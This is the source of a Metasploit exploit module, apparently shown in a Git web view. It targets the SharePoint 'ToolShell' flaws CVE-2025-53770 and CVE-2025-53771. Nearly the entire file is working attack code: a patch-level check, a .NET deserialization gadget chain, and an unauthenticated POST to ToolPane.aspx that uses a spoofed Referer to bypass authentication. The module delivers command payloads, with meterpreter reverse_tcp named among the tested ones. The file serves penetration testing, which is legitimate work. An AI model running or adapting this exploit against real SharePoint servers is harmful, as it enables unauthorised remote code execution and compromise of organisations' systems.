Files
metasploit-gs/modules/exploits/windows/http/sharepoint_toolpane_rce.rb
T

315 lines
15 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)',
'Description' => %q{
This module exploits the authentication bypass vulnerability CVE-2025-53771 (a patch bypass of CVE-2025-49706),
and an unsafe deserialization vulnerability CVE-2025-53770 (a patch bypass of CVE-2025-49704), to achieve
unauthenticated RCE against a vulnerable Microsoft SharePoint Server.
},
'License' => MSF_LICENSE,
'Author' => [
# Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025.
'Viettel Cyber Security',
# Metasploit module, based on the public PoC of the zero-day exploit for CVE-2025-53770 and CVE-2025-53771.
'sfewer-r7'
# NOTE: The author attribution for CVE-2025-53770 and CVE-2025-53771 is unclear.
],
'References' => [
# Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability.
['CVE', '2025-49704'],
# Microsoft SharePoint ToolPane Authentication Bypass Vulnerability.
['CVE', '2025-49706'],
# Patch bypass for CVE-2025-49704, exploited in-the-wild as a zero-day.
['CVE', '2025-53770'],
# Patch bypass for CVE-2025-49706, exploited in-the-wild as a zero-day.
['CVE', '2025-53771'],
# Technical analysis of CVE-2025-49704 and CVE-2025-49706 by the original finder, Dinh Ho Anh Khoa (Viettel Cyber Security).
['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'],
# ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security.
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'],
# Microsoft advisories for CVE-2025-53770 and CVE-2025-53771, caught in-the-wild.
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'],
# Microsoft Guidance.
['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'],
# The zero-day exploit for CVE-2025-53770 and CVE-2025-53771, published July 21, 2025.
['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'],
# Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025.
['URL', 'https://x.com/codewhitesec/status/1944743478350557232'],
# Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025.
['URL', 'https://x.com/thezdi/status/1923317597673533552'],
# Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint.
['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
],
'DisclosureDate' => '2025-07-19', # Disclosure date for CVE-2025-53770 and CVE-2025-53771.
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Privileged' => false, # Executes as the SharePoint site user.
'Targets' => [
[
'Default', {}
]
],
# NOTE: Tested with the following payloads:
# cmd/windows/http/x64/meterpreter/reverse_tcp
# cmd/windows/generic
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
# Delete the fetch binary after execution.
'FETCH_DELETE' => true,
# The root path of the SharePoint site
'URIPATH' => '/'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx')
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
# The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key
# called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP
# header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level.
site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/)
return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag
version = Rex::Version.new(site_client_tag[1])
# We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We
# compare the target version against the RTM version (i.e. the first version of an edition) and the version *before*
# the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706
# from July 2025).
# https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019
# https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates
ranges = [
[
'Microsoft SharePoint Server Subscription Edition',
'16.0.14326.20450', # The RTM version (circa 2021)
'16.0.18526.20424' # July 2025
],
[
'Microsoft SharePoint Server 2019',
'16.0.10337.12109', # The RTM version (circa 2019)
'16.0.10417.20027' # July 2025
],
[
'Microsoft SharePoint Enterprise Server 2016',
'16.0.4351.1000', # The RTM version (circa 2017)
'16.0.5508.1000' # July 2025
],
# NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable.
[
'SharePoint Server 2013',
'15.0.4481.1005',
'15.0.5545.1000' # Last version before end of support.
],
[
'SharePoint Server 2010',
'14.0.7015.1000',
'14.0.7268.5000' # Last version before end of support.
]
]
ranges.each do |product, rtm_version, patch_version|
if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version))
return Exploit::CheckCode::Appears("Detected #{product} version #{version}")
end
end
# If we get here, it's a patched version.
Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}")
end
def exploit
gadget_raw = create_gadget_chain
send_exploit(gadget_raw)
end
# This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
# and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
# been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
# TypeConfuseDelegate gadget chain).
class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream
def self.generate(nested_gadget_b64)
name_a = Rex::Text.rand_text_alpha_lower(8..16)
name_b = Rex::Text.rand_text_alpha_lower(8..16)
name_c = Rex::Text.rand_text_alpha_lower(8..16)
schema = <<~EOF
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}">
<xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
<xs:complexType>
<xs:choice minOccurs="0" maxOccurs="unbounded">
<xs:element name="#{name_b}">
<xs:complexType>
<xs:sequence>
<xs:element name="#{name_c}" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
</xs:sequence>
</xs:complexType>
</xs:element>
</xs:choice>
</xs:complexType>
</xs:element>
</xs:schema>
EOF
diffgram = <<~EOF
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<#{name_a}>
<#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{nested_gadget_b64}</anyType>
</MethodParameters>
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfLosFormatterObjectDataProvider>
</#{name_c}>
</#{name_b}>
</#{name_a}>
</diffgr:diffgram>
EOF
system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')
library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new(
library_id: 2,
library_name: system.to_s
)
from_values([
Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
library,
Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new(
class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new(
obj_id: 1,
name: 'System.Data.DataSet',
member_names: %w[XmlSchema XmlDiffGram]
),
member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new(
binary_type_enums: %i[String String]
),
library_id: library.library_id,
member_values: [
Msf::Util::DotNetDeserialization::Types::Record.from_value(
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
obj_id: 3,
string: schema
)
),
Msf::Util::DotNetDeserialization::Types::Record.from_value(
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
obj_id: 2,
string: diffgram
)
),
]
),
Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new
])
end
end
def create_gadget_chain
# NOTE: Depending on the version of SharePoint, different gadgets can be used.
#
# * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version
# 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025).
#
# * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to
# work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018
# (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025.
typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded,
gadget_chain: :TypeConfuseDelegate,
formatter: :LosFormatter
)
vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:')
vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))
typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s
vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))
dataset_gadget_raw
end
def send_exploit(gadget_raw)
gadget_gzip = StringIO.new
gzip = Zlib::GzipWriter.new(gadget_gzip)
gzip.write(gadget_raw)
gzip.close
namespace_ui = Rex::Text.rand_text_alpha_lower(8..16)
namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)
xml = <<~EOF
<%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<#{namespace_ui}:UpdateProgress>
<ProgressTemplate>
<#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/>
</ProgressTemplate>
</#{namespace_ui}:UpdateProgress>
EOF
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'ToolPane.aspx'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706
},
'vars_get' => {
'DisplayMode' => 'Edit', # This is part of CVE-2025-49706
Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706
},
'vars_post' => {
'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706
'MSOTlPn_DWP' => xml
}
)
end
end